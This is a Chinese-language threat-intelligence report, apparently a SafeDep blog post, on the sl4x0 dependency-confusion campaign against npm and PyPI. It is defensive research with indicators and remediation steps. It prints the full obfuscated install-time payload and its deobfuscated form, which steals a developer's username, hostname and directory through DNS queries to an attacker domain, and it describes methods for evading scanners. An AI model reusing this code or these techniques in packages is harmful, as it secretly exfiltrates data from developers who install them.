目录
简述
一名以 sl4x0 身份运作的研究人员自2025年6月起持续开展依赖混淆攻击活动,在32个临时 npm 和 PyPI 账户上发布 92+ 个软件包,针对 20余家具名企业。每个软件包通过 DNS 查询将开发者的用户名、主机名和工作目录泄露至 oob[.]sl4x0[.]xyz。软件包名称表明它们可能针对这些组织的内部依赖项。载荷精简且发布者账户的明确 *poc 命名方式表明这更像是安全研究或漏洞赏金探测,而非全面的恶意攻击。无论意图如何,这些软件包在安装时执行代码,并将开发者身份泄露给未经授权的第三方。
影响:
- 泄露安装攻击活动软件包的任何开发者的本地操作系统用户名、主机名和当前工作目录
- 基于 DNS 的数据窃取可绕过大多数基于 HTTP 的出口流量监控
- 侦察数据(用户名、主机名、项目目录)使后续定向攻击成为可能
- 可能攻击目标涵盖财富500强企业、金融机构、国防承包商和科技公司
妥协指标(IoC):
- 数据泄露域名:
oob[.]sl4x0[.]xyz - DNS 查询模式:
<prefix>.<username>.<hostname>.<cwd>.<timestamp>.oob[.]sl4x0[.]xyz - 发布者邮箱域名:
*@sl4x0[.]xyz - 版本号模式:
9.9.0、9.9.9、9.9.10、9.9.11、99.9.9、99.99.9(虚高以赢得依赖混淆) - 32个 npm/PyPI 账户(完整列表见攻击活动基础设施部分)
攻击活动概述
时间线
SafeDep 威胁情报数据显示,该攻击活动已持续 10个月,分为不同阶段:
| 时间段 | 新增软件包 | 活跃账户 | 目标 |
|---|---|---|---|
| 2025年6月 | 33 | 6 | 广泛(通用域名抢注) |
| 2025年7月 | 16 | 4 | 广泛(持续通用型) |
| 2025年8月 | 7 | 3 | 定向(bbch、callemback、collabhunting) |
| 2025年9月 | 1 | 1 | CrowdStrike |
| 2025年10月 | 4 | 3 | 混合型 |
| 2025年12月 | 5 | 2 | Dealfront、通用型 |
| 2026年1月 | 14 | 8 | Checkout.com、Santander、Shopee、Zurich Insurance、Wildberries、Blick、Anduril(PyPI) |
| 2026年2月 | 2 | 2 | Coca-Cola、Huawei |
| 2026年3月 | 10 | 7 | Adobe、Ford、Sony、Xfinity/Comcast、Carnival、Medidata、Tombac |
该攻击活动于2025年中开始进行广泛的命名空间抢注,随后在2025年末和2026年转向看似有针对性的组织定向攻击。账户名中的 *poc 后缀(例如 adobepoc、fordpoc、sonypoc)明确将其标记为针对具名目标的"概念验证"。
所有2025年时代的账户已从 npm 上移除。截至2026年3月24日,以下2026年账户的软件包仍然活跃:adobepoc、fordpoc、carnivalpoc、xfinitypoc、sonypoc、cocacolapoc、huaweipoc、tombacpoc、medidata。
攻击活动基础设施
所有发布者账户均使用 sl4x0[.]xyz 域名的邮箱地址。所有软件包共享的数据泄露端点为 oob[.]sl4x0[.]xyz。package.json 元数据中引用的 GitHub 组织 slaxorg 不存在,证实了来源系伪造。
已知发布者账户完整列表:
| 账户 | 邮箱 | 目标 | 软件包数量 | 生态系统 | 仍活跃 |
|---|---|---|---|---|---|
adobepoc | adobepoc@sl4x0[.]xyz | Adobe | 11 | npm | 是 |
fordpoc | fordpoc@sl4x0[.]xyz | Ford Motor | 2 | npm | 是 |
carnivalpoc | carnivalpoc@sl4x0[.]xyz | Carnival Corp | 1 | npm | 是 |
xfinitypoc | xfinitypoc@sl4x0[.]xyz | Xfinity/Comcast | 2 | npm | 是 |
sonypoc | sonypoc@sl4x0[.]xyz | Sony | 1 | npm | 是 |
cocacolapoc | cocacolapoc@sl4x0[.]xyz | Coca-Cola | 2 | npm | 是 |
huaweipoc | huaweipoc@sl4x0[.]xyz | Huawei | 1 | npm | 是 |
tombacpoc | tombacpoc@sl4x0[.]xyz | Tombac | 1 | npm | 是 |
medidata | medidata@sl4x0[.]xyz | Medidata Solutions | 1 | npm | 是 |
checkoutpoc | checkoutpoc@sl4x0[.]xyz | Checkout.com | 2 | npm | 否 |
wildberriespoc | wildberriespoc@sl4x0[.]xyz | Wildberries | 2 | npm | 否 |
blickpoc | blickpoc@sl4x0[.]xyz | Blick(媒体) | 1 | npm | 否 |
zurichpoc | zurich@sl4x0[.]xyz | Zurich Insurance | 1 | npm | 否 |
standardbank | standardbank@sl4x0[.]xyz | Santander UK | 1 | npm | 否 |
crowdstrikeerrrrrrr | crowdstrikeerrrrrrr@sl4x0[.]xyz | CrowdStrike | 1 | npm | 否 |
dealfrontpoc | dealfrontpoc@sl4x0[.]xyz | Dealfront | 2 | npm | 否 |
seacom | seacom@sl4x0[.]xyz | Shopee/Servicepoint | 3 | npm | 否 |
uc-platform | uc-platform@sl4x0[.]xyz | UC Platform | 1 | npm | 否 |
global-engineering-shared | global-engineering-shared@sl4x0[.]xyz | Google(gweb) | 1 | npm | 否 |
bbch | bbch@sl4x0[.]xyz | Mobile SDK 供应商 | 2 | npm | 否 |
collabhunting | collab@sl4x0[.]xyz | Expedia(UITK) | 2 | npm | 否 |
testingnpmtakeovers | testingnpmtakeovers@sl4x0[.]xyz | 通用型 | 3 | npm | 否 |
sl4x0 / research | research@sl4x0[.]xyz | Anduril | 3 | PyPI | 不适用 |
slaxoit | slaxoit@sl4x0[.]xyz | 广泛 | 16 | npm | 否 |
slaxoyou | slaxoyou@sl4x0[.]xyz | 广泛 | 11 | npm | 否 |
slaxowe | slaxowe@sl4x0[.]xyz | 广泛 | 8 | npm | 否 |
slaxoshe | slaxoshe@sl4x0[.]xyz | 广泛 | 5 | npm | 否 |
slaxohe | slaxohe@sl4x0[.]xyz | 广泛 | 3 | npm | 否 |
callemback | callemback@sl4x0[.]xyz | 广泛 | 8 | npm | 否 |
vdchhhh | vdch@sl4x0[.]xyz | 通用型 | 2 | npm | 否 |
twentyaugust | twentyaugust@sl4x0[.]xyz | Twitter(flight) | 1 | npm | 否 |
截至2026年3月24日仍在 npm 上活跃的软件包
以下软件包仍可供下载,应视为具有主动危险性:
| 软件包 | 版本 | 发布者 | 目标 |
|---|---|---|---|
oc-aa-module-client | 9.9.10 | adobepoc | Adobe |
oc-navbar-module-client | 9.9.10 | adobepoc | Adobe |
oc-ccp-module-client | 9.9.10 | adobepoc | Adobe |
oc-pdc-module-client | 9.9.0 | adobepoc | Adobe |
oc-conversation-history-module-client | 9.9.0 | adobepoc | Adobe |
oc-ecm-module-client | 9.9.0 | adobepoc | Adobe |
oc-cip-module-client | 9.9.0 | adobepoc | Adobe |
oc-recommendedupgrade-module-client | 9.9.0 | adobepoc | Adobe |
oc-agent-toolbar-module-client | 9.9.0 | adobepoc | Adobe |
oc-pico-module-client | 9.9.0 | adobepoc | Adobe |
@phonos/types | 9.9.10 | adobepoc | Adobe(Phonos) |
@wame/ngx-frf-utilities | 9.9.11 | fordpoc | Ford |
@wame/ngx-adfs | 9.9.11 | fordpoc | Ford |
cclr-component-resources | 9.9.10 | carnivalpoc | Carnival |
@ceeferenderer/itg-renderer-sdk | 99.9.9 | xfinitypoc | Xfinity |
@ceeferenderer/fe-renderer-sdk | 99.9.9 | xfinitypoc | Xfinity |
cr-static-shared-components | 9.9.9 | sonypoc | Sony |
@the-coca-cola-company/ngps-global-common-utils | 9.9.9 | cocacolapoc | Coca-Cola |
@the-coca-cola-company/receipt-scanner-admin-lib | 9.9.9 | cocacolapoc | Coca-Cola |
@cloudsop/hmoment | 9.9.9 | huaweipoc | Huawei |
tombac-chronos | 9.9.9 | tombacpoc | Tombac |
ftapi-core | 99.9.9 | medidata | Medidata |
深度解析:oc-aa-module-client
软件包概述
[email protected] 由 adobepoc 账户于2026年3月22日发布到 npm。该账户在2026年3月21日至22日期间发布了11个软件包,均共享相同的描述("企业级工具库,含增强验证和兼容层")、相同的关键词以及相同的代码结构。
软件包名称可能遵循 Adobe 内部的 Omnichannel 模块命名规范(oc-*-module-client),明显针对 Adobe Analytics(aa)、联系人中心平台(ccp)、导航栏(navbar)等模块。package.json 指向一个不存在的 GitHub 组织 slaxorg,伪造了来源。
README 是通用样板文件,带有占位符徽章 URL(org/repo、package),并讽刺性地声称:"无文件系统访问"和"无网络请求"。该软件包通过混淆的 lib/ 目录执行了这两项操作。
执行触发机制
package.json 定义了一个 install 脚本,在 npm install 时执行入口点:
"scripts": {
"install": "node index.js"
}入口点静默加载恶意载荷:
'use strict';
try {
require('./lib/core');
} catch (e) {}
module.exports = { version: '9.9.10' };带有空处理程序的 try/catch 确保即使载荷执行失败,安装也会静默成功。导出的 { version: '9.9.10' } 为检查模块返回值的人提供无害的表面。
恶意载荷
载荷分布在 lib/ 中的三个文件中:一个配置模块、一个工具模块和一个核心逻辑模块。
配置(lib/b02e30.js) 使用十六进制编码的字符数组存储数据泄露域名和软件包标识符:
'use strict';
const _0x5b3d = [0x6f, 0x6f, 0x62, 0x2e, 0x73, 0x6c, 0x34, 0x78, 0x30, 0x2e, 0x78, 0x79, 0x7a];
const _0x6c4e = 'ocaa';
const _0x7d5f = (s) => {
let r = '';
for (let i = 0; i < s.length; i++) r += String.fromCharCode(s[i]);
return r;
};
module.exports = { p: _0x6c4e, d: _0x7d5f([0x2e]), dom: _0x7d5f(_0x5b3d), decode: _0x7d5f };反混淆后,解析结果为:
module.exports = {
p: 'ocaa', // package identifier for this campaign package
d: '.', // separator
dom: 'oob.sl4x0.xyz', // attacker-controlled exfiltration domain
decode: String.fromCharCode, // utility function reused by core.js
};工具(lib/6ad264.js) 通过 module.constructor._load() 加载 Node.js 内置模块,以避免静态扫描器标记的明文 require() 调用:
'use strict';
const _0xb1i9 = (x) => {
let s = '';
for (let i = 0; i < x.length; ++i) s += String.fromCharCode(x[i]);
return s;
};
const _0xc2j0 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x6f, 0x73]));
const _0xd3k1 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x64, 0x6e, 0x73]));
const _0xe4l2 = global[_0xb1i9([0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73])];
const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);
module.exports = { os: _0xc2j0, dns: _0xd3k1, proc: _0xe4l2, clean: clean };反混淆后:
const os = module.constructor._load('os'); // avoids require('os')
const dns = module.constructor._load('dns'); // avoids require('dns')
const proc = global.process;
const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);
module.exports = { os, dns, proc, clean };clean() 函数剥离非字母数字字符并截断至15个字符,确保收集的数据符合 DNS 标签长度限制(每个标签最多63个字符)。
核心载荷(lib/core.js) 收集系统信息并通过 DNS 进行数据泄露:
'use strict';
const cfg = require('./b02e30');
const util = require('./6ad264');
(() => {
let u = 'u',
h = 'h',
c = 'd';
try {
u = util.clean(
util.os[cfg.decode([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f])]()?.[
cfg.decode([0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65])
]
);
} catch (e) {}
try {
h = util.clean(util.os[cfg.decode([0x68, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65])]());
} catch (e) {}
try {
c = util.clean(
util.proc[cfg.decode([0x63, 0x77, 0x64])]()
.split(/[\/\\]/)
.pop()
);
} catch (e) {}
const t = Math.floor(Date.now() / 1e3);
const q = [cfg.p, u || 'u', h || 'h', c || 'd', t, cfg.dom].join(cfg.d);
try {
util.dns[cfg.decode([0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x34])](q, () => {});
} catch (e) {}
})();反混淆后:
const cfg = require('./b02e30');
const util = require('./6ad264');
(() => {
let u = 'u',
h = 'h',
c = 'd'; // fallback values
try {
u = util.clean(util.os.userInfo()?.username);
} catch (e) {}
try {
h = util.clean(util.os.hostname());
} catch (e) {}
try {
c = util.clean(
util.proc
.cwd()
.split(/[\/\\]/)
.pop()
);
} catch (e) {}
const t = Math.floor(Date.now() / 1000); // unix timestamp
const q = ['ocaa', u, h, c, t, 'oob.sl4x0.xyz'].join('.');
// e.g. "ocaa.jsmith.devbox42.myproject.1711234567.oob.sl4x0.xyz"
try {
util.dns.resolve4(q, () => {});
} catch (e) {}
})();通过 DNS 进行数据泄露
攻击使用 DNS 作为隐蔽的数据泄露通道。通过使用精心构造的子域名查询调用 dns.resolve4(),收集的数据通过 DNS 解析传输到攻击者为 oob[.]sl4x0[.]xyz 管理的权威名称服务器。攻击者直接从 DNS 查询日志中读取数据,无需解析成功。
数据泄露查询遵循以下结构:
ocaa.<username>.<hostname>.<cwd_dirname>.<unix_timestamp>.oob.sl4x0.xyz名为 jsmith 的开发者在 adobe-dev-42 机器上于 /home/jsmith/code/omnichannel-platform 目录工作,将生成:
ocaa.jsmith.adobedev42.omnichannelplatf.1711234567.oob.sl4x0.xyz这种方法有效的原因有几个。企业防火墙很少阻止或检查 DNS 流量。查询在网络监控工具看来如同正常的 DNS 解析。无需 HTTP 连接或响应;查询本身携带数据。空的回调 () => {} 意味着代码不等待或处理响应。
ocaa 前缀标识触发信标的攻击活动软件包,使攻击者能够关联11+个 Adobe 软件包中的响应(每个软件包将使用不同的前缀,如 occcp、ocnavbar 等)。
这与我们在 Schedaero 依赖混淆攻击活动分析中分析的基本技术相同,尽管该攻击活动使用基于 HTTP 的数据泄露而非 DNS。DNS 方法更隐蔽,因为它完全绕过了 HTTP 出口流量监控。针对其他组织实施的类似使用 Burp Collaborator 的依赖混淆模式也有记录。
混淆技术
该软件包使用三层混淆:
- 十六进制编码的字符串字面量:方法名如
userInfo、hostname、cwd和resolve4作为十六进制字节数组传递([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f]),在运行时通过String.fromCharCode解码。这避开了扫描器中寻找可疑 API 调用的静态字符串匹配。 - 间接模块加载:不使用
require('os')或require('dns'),而是使用module.constructor._load('os')。这是 Node.js 的私有 API,达到相同结果但避免触发安全工具中的require()模式匹配。 - 诱饵源文件:
src/目录包含约600行合法、有完整文档的工具代码(验证、格式化、加密包装器),但不起任何功能作用。index.js入口点从不从src/导入任何内容。这些文件仅用于在粗略审查时使软件包看起来合法。
依赖混淆策略
该攻击活动中的所有软件包使用异常高的版本号(9.9.0、9.9.10、99.9.9、99.99.9)。这是依赖混淆的标志:当构建系统同时从私有注册表和公共 npm 注册表拉取时,它会解析到最高可用版本。通过发布内部版本为 2.3.1 的软件的 99.99.9 版本,攻击者确保公共(恶意)版本被采用。
软件包名称并非随机。它们可能匹配每个目标组织的内部软件包命名规范:
- Adobe:
oc-*-module-client(可能是 Omnichannel 平台模块) - Ford:
@wame/ngx-*(可能是 Ford WAME 框架下的 Angular 模块) - Coca-Cola:
@the-coca-cola-company/*(作用域公司软件包) - Xfinity:
@ceeferenderer/*(可能是内部渲染器 SDK) - Wildberries:
@wb-team/*、@wbgo/*(可能是内部团队软件包)
这种特异性表明攻击者在发布前对每个目标的内部软件包生态系统进行了侦察。我们之前分析的针对 Hyatt 的攻击活动使用了相同的版本虚高策略(999.999.999),针对酒店行业目标。
结论
sl4x0 攻击活动是一场持续的、多目标的依赖混淆行动,自2025年6月起持续活跃。明确的 *poc 账户命名、仅使用 DNS 的最小载荷以及缺乏凭证窃取或持久化机制,这些都强烈表明这是安全研究或漏洞赏金探测,而非破坏性攻击。无论意图如何,这些软件包在安装时执行任意代码并将开发者身份泄露给未经授权的第三方,这代表了真正的供应链风险。
截至2026年3月24日,9个发布者账户的22个软件包仍在 npm 上活跃。内部软件包名称出现在 IoC 列表中的组织应:
- 审查
.npmrc和注册表配置,确保私有软件包仅从内部注册表解析 - 监控 DNS 日志中指向
oob[.]sl4x0[.]xyz的查询 - 将安装了攻击活动软件包的任何系统视为已被入侵(用于侦察目的)
- 使用
vet等工具在软件包进入构建管道前检测恶意软件包
参考资料
-
数据泄露域名:
oob[.]sl4x0[.]xyz -
SafeDep 威胁情报:92+ 已确认的恶意软件包记录
-
npm
-
oss
-
malware
-
supply-chain
-
security
-
dependency-confusion
SafeDep 博客最新动态
关注以获取开源安全与工程方面的最新更新和洞察